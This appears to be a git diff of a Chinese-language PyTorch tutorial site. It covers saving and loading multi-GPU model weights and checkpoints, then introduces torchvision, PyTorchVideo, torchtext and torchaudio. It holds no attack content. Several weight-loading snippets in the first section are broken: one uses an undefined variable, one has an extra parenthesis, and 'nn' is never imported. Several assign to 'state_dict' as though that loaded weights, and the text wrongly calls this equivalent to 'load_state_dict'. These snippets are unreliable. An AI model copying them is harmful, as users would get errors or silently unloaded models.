对于加载模型权重,有以下几种思路: +保存模型时保存模型的module属性对应的权重

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号
import torch
from torchvision import models

save_dir = 'resnet152.pth' #保存路径
model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存权重
torch.save(model.module.state_dict(), save_dir)
+

这样保存下来的模型参数就和单卡保存的模型参数一样了,可以直接加载。也是比较推荐的一种方法。 +去除字典里的module麻烦,往model里添加module简单

+
import os
os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号
import torch
from torchvision import models

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取模型权重
torch.save(model.state_dict(), save_dir)

os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir))
loaded_model = nn.DataParallel(loaded_model).cuda()
loaded_model.state_dict = loaded_dict
+

这样即便是单卡,也可以开始训练了(相当于分布到单卡上)

+

遍历字典去除module

+
from collections import OrderedDict
os.environ['CUDA_VISIBLE_DEVICES'] = '0' #这里替换成希望使用的GPU编号

loaded_dict = torch.load(save_dir)

new_state_dict = OrderedDict()
for k, v in loaded_dict.items():
name = k[7:] # module字段在最前面,从第7个字符开始就可以去掉module
new_state_dict[name] = v #新字典的key值对应的value一一对应

loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.state_dict = new_state_dict
loaded_model = loaded_model.cuda()
+

使用replace操作去除module

+
loaded_model = models.resnet152()    
loaded_dict = torch.load(save_dir)
loaded_model.load_state_dict({k.replace('module.', ''): v for k, v in loaded_dict.items()})
+
    +
  • 多卡保存+多卡加载
  • +
+

由于是模型保存和加载都使用的是多卡,因此不存在模型层名前缀不同的问题。但多卡状态下存在一个device(使用的GPU)匹配的问题,即保存整个模型时会同时保存所使用的GPU id等信息,读取时若这些信息和当前使用的GPU信息不符则可能会报错或者程序不按预定状态运行。具体表现为以下两点:

+

读取整个模型再使用nn.DataParallel进行分布式训练设置

+

这种情况很可能会造成保存的整个模型中GPU id和读取环境下设置的GPU id不符,训练时数据所在device和模型所在device不一致而报错。

+

读取整个模型而不使用nn.DataParallel进行分布式训练设置

+

这种情况可能不会报错,测试中发现程序会自动使用设备的前n个GPU进行训练(n是保存的模型使用的GPU个数)。此时如果指定的GPU个数少于n,则会报错。在这种情况下,只有保存模型时环境的device id和读取模型时环境的device id一致,程序才会按照预期在指定的GPU上进行分布式训练。

+

相比之下,读取模型权重,之后再使用nn.DataParallel进行分布式训练设置则没有问题。因此多卡模式下建议使用权重的方式存储和读取模型:

+
import os
import torch
from torchvision import models

os.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #这里替换成希望使用的GPU编号

model = models.resnet152(pretrained=True)
model = nn.DataParallel(model).cuda()

# 保存+读取模型权重,强烈建议!!
torch.save(model.state_dict(), save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.load_state_dict(torch.load(save_dir)))
loaded_model = nn.DataParallel(loaded_model).cuda()
+

如果只有保存的整个模型,也可以采用提取权重的方式构建新的模型:

+
# 读取整个模型
loaded_whole_model = torch.load(save_dir)
loaded_model = models.resnet152() #注意这里需要对模型结构有定义
loaded_model.state_dict = loaded_whole_model.state_dict
loaded_model = nn.DataParallel(loaded_model).cuda()
+

另外,上面所有对于loaded_model修改权重字典的形式都是通过赋值来实现的,在PyTorch中还可以通过"load_state_dict"函数来实现。因此在上面的所有示例中,我们使用了两种实现方式。

+
loaded_model.load_state_dict(loaded_dict)
+

5.4.5 其他参数的保存和读取​

+

在深度学习项目里,有时候我们不仅仅需要保存模型的权重,还需要保存一些其他的参数,比如训练的epoch数、训练的loss,优化器的参数,动态调整学习策略的参数等等。这些参数可以通过字典的形式保存在一个文件里,然后在读取模型时一起读取。这里我们以下方代码为例:

+
torch.save({
'model': model.state_dict(),
'optimizer': optimizer.state_dict(),
'lr_scheduler': lr_scheduler.state_dict(),
'epoch': epoch,
'args': args,
}, checkpoint_path)
+

这些参数的读取方式也是类似的:

+
checkpoint = torch.load(checkpoint_path)
model.load_state_dict(checkpoint['model'])
optimizer.load_state_dict(checkpoint['optimizer'])
lr_scheduler.load_state_dict(checkpoint['lr_scheduler'])
epoch = checkpoint['epoch']
args = checkpoint['args']
+

附:测试环境​

+

OS: Ubuntu 20.04 LTS GPU: GeForce RTX 2080 Ti (x3)

+

参考资料​

+

本章内容同时发布于知乎和CSDN

+
    +
  1. pytorch 中pkl和pth的区别?
  2. +
  3. What is the difference between .pt, .pth and .pwf extentions in PyTorch?
  4. +
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第五章/index.html b/docs/个人知识库/AI/PyTorch/第五章/index.html new file mode 100644 index 0000000..f862217 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第五章/index.html @@ -0,0 +1,46 @@ + + + + + +第五章 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html b/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html new file mode 100644 index 0000000..8537396 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/8.1 本章简介/index.html @@ -0,0 +1,51 @@ + + + + + +8.1 本章简介.md | wjlin0 + + + + + + + +

8.1 本章简介.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.1 本章简介

+

恭喜你,经过前面七章内容的学习,你已经逐步熟悉了PyTorch的使用,能够定义和修改自己的模型,学会了常用的训练技巧,并通过可视化辅助PyTorch的使用。

+

PyTorch的强大并不仅局限于自身的易用性,更在于开源社区围绕PyTorch所产生的一系列工具包(一般是Python package)和程序,这些优秀的工具包极大地方便了PyTorch在特定领域的使用。比如对于计算机视觉,有TorchVision、TorchVideo等用于图片和视频处理;对于自然语言处理,有torchtext;对于图卷积网络,有PyTorch Geometric ······。这里只是举例,每个领域还有很多优秀的工具包供社区使用。这些工具包共同构成了PyTorch的生态(EcoSystem)。

+

PyTorch生态很大程度助力了PyTorch的推广与成功。在特定领域使用PyTorch生态中的工具包,能够极大地降低入门门槛,方便复现已有的工作。比如我们在讨论模型修改时候就用到了torchvision中预定义的resnet结构,而不需要自己重新编写。同时,PyTorch生态有助于社区力量的加入,共同为社区提供更有价值的内容和程序,这也是开源理念所坚持的价值。

+

在后面的内容中,我们会逐步介绍PyTorch生态在图像、视频、文本等领域中的发展,针对某个领域我们选择其中有代表性的一个工具包进行详细介绍,主要包括工具包的作者或其所在机构、数据预处理工具(这块可能再引入第三方工具包)、数据扩增、常用模型结构的预定义、预训练模型权重、常用损失函数、常用评测指标、封装好的训练&测试模块,以及可视化工具。这些内容也是我们在使用对应工具包时会用到的。读者可以根据自身需要重点学习,对于自己研究所不涉及的工具包,可以只做了解,需要使用时再来学习。

+

注:

+

本章内容会不断更新,欢迎大家在issue中提出宝贵建议,或者直接pull request~

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html b/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html new file mode 100644 index 0000000..e330150 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/8.2 图像 - torchvision/index.html @@ -0,0 +1,227 @@ + + + + + +8.2 图像 - torchvision.md | wjlin0 + + + + + + + +

8.2 图像 - torchvision.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.2 torchvision

+

PyTorch之所以会在短短的几年时间里发展成为主流的深度学习框架,除去框架本身的优势,还在于PyTorch有着良好的生态圈。在前面的学习和实战中,我们经常会用到torchvision来调用预训练模型,加载数据集,对图片进行数据增强的操作。在本章我们将给大家简单介绍下torchvision以及相关操作。

+

经过本节的学习,你将收获:

+
    +
  • 了解torchvision
  • +
  • 了解torchvision的作用
  • +
+

8.2.1 torchvision简介​

+

" The torchvision package consists of popular datasets, model architectures, and common image transformations for computer vision. "

+

正如引言介绍的一样,我们可以知道torchvision包含了在计算机视觉中常常用到的数据集,模型和图像处理的方式,而具体的torchvision则包括了下面这几部分,带 ***** 的部分是我们经常会使用到的一些库,所以在下面的部分我们对这些库进行一个简单的介绍:

+
    +
  • torchvision.datasets *
  • +
  • torchvision.models *
  • +
  • torchvision.tramsforms *
  • +
  • torchvision.io
  • +
  • torchvision.ops
  • +
  • torchvision.utils
  • +
+

8.2.2 torchvision.datasets​

+

torchvision.datasets主要包含了一些我们在计算机视觉中常见的数据集,在==0.10.0版本==的torchvision下,有以下的数据集:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
CaltechCelebACIFARCityscapes
EMNISTFakeDataFashion-MNISTFlickr
ImageNetKinetics-400KITTIKMNIST
PhotoTourPlaces365QMNISTSBD
SEMEIONSTL10SVHNUCF101
VOCWIDERFace
+

8.2.3 torchvision.transforms​

+

我们知道在计算机视觉中处理的数据集有很大一部分是图片类型的,如果获取的数据是格式或者大小不一的图片,则需要进行归一化和大小缩放等操作,这些是常用的数据预处理方法。除此之外,当图片数据有限时,我们还需要通过对现有图片数据进行各种变换,如缩小或放大、水平或垂直翻转等,这些是常见的数据增强方法。而torchvision.transforms中就包含了许多这样的操作。在之前第四章的Fashion-mnist实战中对数据的处理时我们就用到了torchvision.transformer:

+
from torchvision import transforms
data_transform = transforms.Compose([
transforms.ToPILImage(), # 这一步取决于后续的数据读取方式,如果使用内置数据集则不需要
transforms.Resize(image_size),
transforms.ToTensor()
])
+

除了上面提到的几种数据增强操作,在torchvision官方文档里提到了更多的操作,具体使用方法也可以参考本节配套的”transforms.ipynb“,在这个notebook中我们给出了常见的transforms的API及其使用方法,更多数据变换的操作我们可以点击这里进行查看。

+

8.2.4 torchvision.models​

+

为了提高训练效率,减少不必要的重复劳动,PyTorch官方也提供了一些预训练好的模型供我们使用,可以点击这里进行查看现在有哪些预训练模型,下面我们将对如何使用这些模型进行详细介绍。 此处我们以torchvision0.10.0 为例,如果希望获取更多的预训练模型,可以使用使用pretrained-models.pytorch仓库。现有预训练好的模型可以分为以下几类:

+
    +
  • Classification
  • +
+

在图像分类里面,PyTorch官方提供了以下模型,并正在不断增多。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
AlexNetVGGResNetSqueezeNet
DenseNetInception v3GoogLeNetShuffleNet v2
MobileNetV2MobileNetV3ResNextWide ResNet
MNASNetEfficientNetRegNet持续更新
+

这些模型是在ImageNet-1k进行预训练好的,具体的使用我们会在后面进行介绍。除此之外,我们也可以点击这里去查看这些模型在ImageNet-1k的准确率。

+
    +
  • Semantic Segmentation
  • +
+

语义分割的预训练模型是在COCO train2017的子集上进行训练的,提供了20个类别,包括background, aeroplane, bicycle, bird, boat, bottle, bus, car, cat, chair, cow, diningtable, dog, horse, motorbike, person, pottedplant, sheep, sofa,train, tvmonitor。

+ + + + + + + + + + + + + + + + + +
FCN ResNet50FCN ResNet101DeepLabV3 ResNet50DeepLabV3 ResNet101
LR-ASPP MobileNetV3-LargeDeepLabV3 MobileNetV3-Large未完待续
+

具体我们可以点击这里进行查看预训练的模型的mean IOU和 global pixelwise acc

+
    +
  • Object Detection,instance Segmentation and Keypoint Detection
  • +
+

物体检测,实例分割和人体关键点检测的模型我们同样是在COCO train2017进行训练的,在下方我们提供了实例分割的类别和人体关键点检测类别:

+
COCO_INSTANCE_CATEGORY_NAMES = [
'__background__', 'person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus','train', 'truck', 'boat', 'traffic light', 'fire hydrant', 'N/A', 'stop sign', 'parking meter', 'bench', 'bird', 'cat', 'dog', 'horse', 'sheep', 'cow', 'elephant', 'bear', 'zebra', 'giraffe', 'N/A', 'backpack', 'umbrella', 'N/A', 'N/A','handbag', 'tie', 'suitcase', 'frisbee', 'skis', 'snowboard', 'sports ball','kite', 'baseball bat', 'baseball glove', 'skateboard', 'surfboard', 'tennis racket','bottle', 'N/A', 'wine glass', 'cup', 'fork', 'knife', 'spoon', 'bowl','banana', 'apple', 'sandwich', 'orange', 'broccoli', 'carrot', 'hot dog', 'pizza','donut', 'cake', 'chair', 'couch', 'potted plant', 'bed', 'N/A', 'dining table','N/A', 'N/A', 'toilet', 'N/A', 'tv', 'laptop', 'mouse', 'remote', 'keyboard', 'cell phone','microwave', 'oven', 'toaster', 'sink', 'refrigerator', 'N/A', 'book','clock', 'vase', 'scissors', 'teddy bear', 'hair drier', 'toothbrush']
COCO_PERSON_KEYPOINT_NAMES =['nose','left_eye','right_eye','left_ear','right_ear','left_shoulder','right_shoulder','left_elbow','right_elbow','left_wrist','right_wrist','left_hip','right_hip','left_knee','right_knee','left_ankle','right_ankle']
+ + + + + + + + + + + + + + + + + +
Faster R-CNNMask R-CNNRetinaNetSSDlite
SSD未完待续
+

同样的,我们可以点击这里查看这些模型在COCO train 2017上的box AP,keypoint AP,mask AP

+
    +
  • Video classification
  • +
+

视频分类模型是在 Kinetics-400上进行预训练的

+ + + + + + + + + + + + + + + +
ResNet 3D 18ResNet MC 18ResNet (2+1) D
未完待续
+

同样我们也可以点击这里查看这些模型的Clip acc@1,Clip acc@5

+

8.2.5 torchvision.io​

+

在torchvision.io提供了视频、图片和文件的 IO 操作的功能,它们包括读取、写入、编解码处理操作。随着torchvision的发展,io也增加了更多底层的高效率的API。在使用torchvision.io的过程中,我们需要注意以下几点:

+
    +
  • 不同版本之间,torchvision.io有着较大变化,因此在使用时,需要查看下我们的torchvision版本是否存在你想使用的方法。
  • +
  • 除了read_video()等方法,torchvision.io为我们提供了一个细粒度的视频API torchvision.io.VideoReader() ,它具有更高的效率并且更加接近底层处理。在使用时,我们需要先安装ffmpeg然后从源码重新编译torchvision我们才能我们能使用这些方法。
  • +
  • 在使用Video相关API时,我们最好提前安装好PyAV这个库。
  • +
+

8.2.6 torchvision.ops​

+

torchvision.ops 为我们提供了许多计算机视觉的特定操作,包括但不仅限于NMS,RoIAlign(MASK R-CNN中应用的一种方法),RoIPool(Fast R-CNN中用到的一种方法)。在合适的时间使用可以大大降低我们的工作量,避免重复的造轮子,想看更多的函数介绍可以点击这里进行细致查看。

+

8.2.7 torchvision.utils​

+

torchvision.utils 为我们提供了一些可视化的方法,可以帮助我们将若干张图片拼接在一起、可视化检测和分割的效果。具体方法可以点击这里进行查看。

+

总的来说,torchvision的出现帮助我们解决了常见的计算机视觉中一些重复且耗时的工作,并在数据集的获取、数据增强、模型预训练等方面大大降低了我们的工作难度,可以让我们更加快速上手一些计算机视觉任务。

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html b/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html new file mode 100644 index 0000000..4740dfa --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/8.3 视频 - PyTorchVideo/index.html @@ -0,0 +1,413 @@ + + + + + +8.3 视频 - PyTorchVideo.md | wjlin0 + + + + + + + +

8.3 视频 - PyTorchVideo.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.3 PyTorchVideo简介

+

+

近几年来,随着传播媒介和视频平台的发展,视频正在取代图片成为下一代的主流媒体,这也使得有关视频的深度学习模型正在获得越来越多的关注。然而,有关视频的深度学习模型仍然有着许多缺点:

+
    +
  • 计算资源耗费更多,并且没有高质量的model zoo,不能像图片一样进行迁移学习和论文复现。
  • +
  • 数据集处理较麻烦,但没有一个很好的视频处理工具。
  • +
  • 随着多模态越来越流行,亟需一个工具来处理其他模态。
  • +
+

除此之外,还有部署优化等问题,为了解决这些问题,Meta推出了PyTorchVideo深度学习库(包含组件如Figure 1所示)。PyTorchVideo 是一个专注于视频理解工作的深度学习库。PytorchVideo 提供了加速视频理解研究所需的可重用、模块化和高效的组件。PyTorchVideo 是使用PyTorch开发的,支持不同的深度学习视频组件,如视频模型、视频数据集和视频特定转换。

+

+

8.3.1 PyTorchVideo的主要部件和亮点​

+

PytorchVideo 提供了加速视频理解研究所需的模块化和高效的API。它还支持不同的深度学习视频组件,如视频模型、视频数据集和视频特定转换,最重要的是,PytorchVideo也提供了model zoo,使得人们可以使用各种先进的预训练视频模型及其评判基准。PyTorchVideo主要亮点如下:

+
    +
  • +

    **基于 PyTorch:**使用 PyTorch 构建。使所有 PyTorch 生态系统组件的使用变得容易。

    +
  • +
  • +

    **Model Zoo:**PyTorchVideo提供了包含I3D、R(2+1)D、SlowFast、X3D、MViT等SOTA模型的高质量model zoo(目前还在快速扩充中,未来会有更多SOTA model),并且PyTorchVideo的model zoo调用与PyTorch Hub做了整合,大大简化模型调用,具体的一些调用方法可以参考下面的【使用 PyTorchVideo model zoo】部分。

    +
  • +
  • +

    数据预处理和常见数据,PyTorchVideo支持Kinetics-400, Something-Something V2, Charades, Ava (v2.2), Epic Kitchen, HMDB51, UCF101, Domsev等主流数据集和相应的数据预处理,同时还支持randaug, augmix等数据增强trick。

    +
  • +
  • +

    模块化设计:PyTorchVideo的设计类似于torchvision,也是提供许多模块方便用户调用修改,在PyTorchVideo中具体来说包括data, transforms, layer, model, accelerator等模块,方便用户进行调用和读取。

    +
  • +
  • +

    支持多模态:PyTorchVideo现在对多模态的支持包括了visual和audio,未来会支持更多模态,为多模态模型的发展提供支持。

    +
  • +
  • +

    移动端部署优化:PyTorchVideo支持针对移动端模型的部署优化(使用前述的PyTorchVideo/accelerator模块),模型经过PyTorchVideo优化了最高达7倍的提速,并实现了第一个能实时跑在手机端的X3D模型(实验中可以实时跑在2018年的三星Galaxy S8上,具体请见Android Demo APP)。

    +
  • +
+

8.3.2 PyTorchVideo的安装​

+

我们可以直接使用pip来安装PyTorchVideo:

+
pip install pytorchvideo
+

注:

+
    +
  • 安装的虚拟环境的python版本 >= 3.7
  • +
  • PyTorch >= 1.8.0,安装的torchvision也需要匹配
  • +
  • CUDA >= 10.2
  • +
  • ioPath:具体情况
  • +
  • fvcore版本 >= 0.1.4:具体情况
  • +
+

8.3.3 Model zoo 和 benchmark​

+

在下面这部分,我将简单介绍些PyTorchVideo所提供的Model zoo和benchmark

+
    +
  • Kinetics-400
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample ratetop 1top 5Flops (G) x viewsParams (M)Model
C2DR50-8x871.4689.6825.89 x 3 x 1024.33link
I3DR50-8x873.2790.7037.53 x 3 x 1028.04link
SlowR50-4x1672.4090.1827.55 x 3 x 1032.45link
SlowR50-8x874.5891.6354.52 x 3 x 1032.45link
SlowFastR50-4x1675.3491.8936.69 x 3 x 1034.48link
SlowFastR50-8x876.9492.6965.71 x 3 x 1034.57link
SlowFastR101-8x877.9093.27127.20 x 3 x 1062.83link
SlowFastR101-16x878.7093.61215.61 x 3 x 1053.77link
CSNR101-32x277.0092.9075.62 x 3 x 1022.21link
R(2+1)DR50-16x476.0192.2376.45 x 3 x 1028.11link
X3DXS-4x1269.1288.630.91 x 3 x 103.79link
X3DS-13x673.3391.272.96 x 3 x 103.79link
X3DM-16x575.9492.726.72 x 3 x 103.79link
X3DL-16x577.4493.3126.64 x 3 x 106.15link
MViTB-16x478.8593.8570.80 x 1 x 536.61link
MViTB-32x380.3094.69170.37 x 1 x 536.61link
+
    +
  • Something-Something V2
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample ratetop 1top 5Flops (G) x viewsParams (M)Model
SlowR50Kinetics 4008x860.0485.1955.10 x 3 x 131.96link
SlowFastR50Kinetics 4008x861.6886.9266.60 x 3 x 134.04link
+
    +
  • Charades
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample rateMAPFlops (G) x viewsParams (M)Model
SlowR50Kinetics 4008x834.7255.10 x 3 x 1031.96link
SlowFastR50Kinetics 4008x837.2466.60 x 3 x 1034.00link
+
    +
  • AVA (V2.2)
  • +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
archdepthpretrainframe length x sample rateMAPParams (M)Model
SlowR50Kinetics 4004x1619.531.78link
SlowFastR50Kinetics 4008x824.6733.82link
+

8.3.4 使用 PyTorchVideo model zoo​

+

PyTorchVideo提供了三种使用方法,并且给每一种都配备了tutorial

+
    +
  • TorchHub,这些模型都已经在TorchHub存在。我们可以根据实际情况来选择需不需要使用预训练模型。除此之外,官方也给出了TorchHub使用的 tutorial 。
  • +
  • PySlowFast,使用 PySlowFast workflow 去训练或测试PyTorchVideo models/datasets.
  • +
  • PyTorch Lightning建立一个工作流进行处理,点击查看官方 tutorial。
  • +
+
    +
  • 如果想查看更多的使用教程,可以点击 这里 进行尝试
  • +
+

总的来说,PyTorchVideo的使用与torchvision的使用方法类似,在有了前面的学习基础上,我们可以很快上手PyTorchVideo,具体的我们可以通过查看官方提供的文档和一些例程来了解使用方法:官方网址

+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html b/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html new file mode 100644 index 0000000..d93f663 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/8.4 文本 - torchtext/index.html @@ -0,0 +1,111 @@ + + + + + +8.4 文本 - torchtext.md | wjlin0 + + + + + + + +

8.4 文本 - torchtext.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:29
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.4 torchtext简介

+

本节我们来介绍PyTorch官方用于自然语言处理(NLP)的工具包torchtext。自然语言处理也是深度学习的一大应用场景,近年来随着大规模预训练模型的应用,深度学习在人机对话、机器翻译等领域的取得了非常好的效果,也使得NLP相关的深度学习模型获得了越来越多的关注。

+

由于NLP和CV在数据预处理中的不同,因此NLP的工具包torchtext和torchvision等CV相关工具包也有一些功能上的差异,如:

+
    +
  • 数据集(dataset)定义方式不同
  • +
  • 数据预处理工具
  • +
  • 没有琳琅满目的model zoo
  • +
+

本节介绍参考了atnlp的Github,在此致谢!

+

8.4.1 torchtext的主要组成部分​

+

torchtext可以方便的对文本进行预处理,例如截断补长、构建词表等。torchtext主要包含了以下的主要组成部分:

+
    +
  • 数据处理工具 torchtext.data.functional、torchtext.data.utils
  • +
  • 数据集 torchtext.data.datasets
  • +
  • 词表工具 torchtext.vocab
  • +
  • 评测指标 torchtext.metrics
  • +
+

8.4.2 torchtext的安装​

+

torchtext可以直接使用pip进行安装:

+
pip install torchtext
+

8.4.3 构建数据集​

+
    +
  • Field及其使用
  • +
+

Field是torchtext中定义数据类型以及转换为张量的指令。torchtext 认为一个样本是由多个字段(文本字段,标签字段)组成,不同的字段可能会有不同的处理方式,所以才会有 Field 抽象。定义Field对象是为了明确如何处理不同类型的数据,但具体的处理则是在Dataset中完成的。下面我们通过一个例子来简要说明一下Field的使用:

+
tokenize = lambda x: x.split()
TEXT = data.Field(sequential=True, tokenize=tokenize, lower=True, fix_length=200)
LABEL = data.Field(sequential=False, use_vocab=False)
+

其中:

+

​ sequential设置数据是否是顺序表示的;

+

​ tokenize用于设置将字符串标记为顺序实例的函数

+

​ lower设置是否将字符串全部转为小写;

+

​ fix_length设置此字段所有实例都将填充到一个固定的长度,方便后续处理;

+

​ use_vocab设置是否引入Vocab object,如果为False,则需要保证之后输入field中的data都是numerical的

+

构建Field完成后就可以进一步构建dataset了:

+
from torchtext import data
def get_dataset(csv_data, text_field, label_field, test=False):
fields = [("id", None), # we won't be needing the id, so we pass in None as the field
("comment_text", text_field), ("toxic", label_field)]
examples = []

if test:
# 如果为测试集,则不加载label
for text in tqdm(csv_data['comment_text']):
examples.append(data.Example.fromlist([None, text, None], fields))
else:
for text, label in tqdm(zip(csv_data['comment_text'], csv_data['toxic'])):
examples.append(data.Example.fromlist([None, text, label], fields))
return examples, fields
+

这里使用数据csv_data中有"comment_text"和"toxic"两列,分别对应text和label。

+
train_data = pd.read_csv('train_toxic_comments.csv')
valid_data = pd.read_csv('valid_toxic_comments.csv')
test_data = pd.read_csv("test_toxic_comments.csv")
TEXT = data.Field(sequential=True, tokenize=tokenize, lower=True)
LABEL = data.Field(sequential=False, use_vocab=False)

# 得到构建Dataset所需的examples和fields
train_examples, train_fields = get_dataset(train_data, TEXT, LABEL)
valid_examples, valid_fields = get_dataset(valid_data, TEXT, LABEL)
test_examples, test_fields = get_dataset(test_data, TEXT, None, test=True)
# 构建Dataset数据集
train = data.Dataset(train_examples, train_fields)
valid = data.Dataset(valid_examples, valid_fields)
test = data.Dataset(test_examples, test_fields)
+

可以看到,定义Field对象完成后,通过get_dataset函数可以读入数据的文本和标签,将二者(examples)连同field一起送到torchtext.data.Dataset类中,即可完成数据集的构建。使用以下命令可以看下读入的数据情况:

+
# 检查keys是否正确
print(train[0].__dict__.keys())
print(test[0].__dict__.keys())
# 抽查内容是否正确
print(train[0].comment_text)
+
    +
  • 词汇表(vocab)
  • +
+

在NLP中,将字符串形式的词语(word)转变为数字形式的向量表示(embedding)是非常重要的一步,被称为Word Embedding。这一步的基本思想是收集一个比较大的语料库(尽量与所做的任务相关),在语料库中使用word2vec之类的方法构建词语到向量(或数字)的映射关系,之后将这一映射关系应用于当前的任务,将句子中的词语转为向量表示。

+

在torchtext中可以使用Field自带的build_vocab函数完成词汇表构建。

+
TEXT.build_vocab(train)
+
    +
  • 数据迭代器
  • +
+

其实就是torchtext中的DataLoader,看下代码就明白了:

+
from torchtext.data import Iterator, BucketIterator
# 若只针对训练集构造迭代器
# train_iter = data.BucketIterator(dataset=train, batch_size=8, shuffle=True, sort_within_batch=False, repeat=False)

# 同时对训练集和验证集进行迭代器的构建
train_iter, val_iter = BucketIterator.splits(
(train, valid), # 构建数据集所需的数据集
batch_sizes=(8, 8),
device=-1, # 如果使用gpu,此处将-1更换为GPU的编号
sort_key=lambda x: len(x.comment_text), # the BucketIterator needs to be told what function it should use to group the data.
sort_within_batch=False
)

test_iter = Iterator(test, batch_size=8, device=-1, sort=False, sort_within_batch=False)
+

torchtext支持只对一个dataset和同时对多个dataset构建数据迭代器。

+
    +
  • 使用自带数据集
  • +
+

与torchvision类似,torchtext也提供若干常用的数据集方便快速进行算法测试。可以查看官方文档寻找想要使用的数据集。

+

8.4.4 评测指标(metric)​

+

NLP中部分任务的评测不是通过准确率等指标完成的,比如机器翻译任务常用BLEU (bilingual evaluation understudy) score来评价预测文本和标签文本之间的相似程度。torchtext中可以直接调用torchtext.data.metrics.bleu_score来快速实现BLEU,下面是一个官方文档中的一个例子:

+
from torchtext.data.metrics import bleu_score
candidate_corpus = [['My', 'full', 'pytorch', 'test'], ['Another', 'Sentence']]
references_corpus = [[['My', 'full', 'pytorch', 'test'], ['Completely', 'Different']], [['No', 'Match']]]
bleu_score(candidate_corpus, references_corpus)
+
0.8408964276313782
+

8.4.5 其他​

+

值得注意的是,由于NLP常用的网络结构比较固定,torchtext并不像torchvision那样提供一系列常用的网络结构。模型主要通过torch.nn中的模块来实现,比如torch.nn.LSTM、torch.nn.RNN等。

+

备注:

+

对于文本研究而言,当下Transformer已经成为了绝对的主流,因此PyTorch生态中的HuggingFace等工具包也受到了越来越广泛的关注。这里强烈建议读者自行探索相关内容,可以写下自己对于HuggingFace的笔记,如果总结全面的话欢迎pull request,充实我们的课程内容。

+

本节参考

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html b/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html new file mode 100644 index 0000000..b82bfe0 --- /dev/null +++ b/docs/个人知识库/AI/PyTorch/第八章/8.5 音频 - torchaudio/index.html @@ -0,0 +1,111 @@ + + + + + +8.5 音频 - torchaudio.md | wjlin0 + + + + + + + +

8.5 音频 - torchaudio.md

+ + + + + + + + + + + + + +
作者修订时间
wjlin02026-06-07 20:53:30
+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-31 15:44:29
+

8.5 torchaudio简介

+

本节我们来介绍PyTorch官方用于语音处理的工具包torchaduio。语音的处理也是深度学习的一大应用场景,包括说话人识别(Speaker Identification),说话人分离(Speaker Diarization),音素识别(Phoneme Recognition),语音识别(Automatic Speech Recognition),语音分离(Speech Separation),文本转语音(TTS)等任务。

+

CV有torchvision,NLP有torchtext,人们希望语音领域中也能有一个工具包。而语音的处理工具包就是torchaudio。由于语音任务本身的特性,导致其与NLP和CV在数据处理、模型构建、模型验证有许多不同,因此语音的工具包torchaudio和torchvision等CV相关工具包也有一些功能上的差异。

+

通过本章的学习,你将收获:

+
    +
  • 语音数据的I/O
  • +
  • 语音数据的预处理
  • +
  • 语音领域的数据集
  • +
  • 语音领域的模型
  • +
+

8.4.1 torchaduio的主要组成部分​

+

torchaduio主要包括以下几个部分:

+
    +
  • torchaudio.io:有关音频的I/O
  • +
  • torchaudio.backend:提供了音频处理的后端,包括:sox,soundfile等
  • +
  • torchaudio.functional:包含了常用的语音数据处理方法,如:spectrogram,create_fb_matrix等
  • +
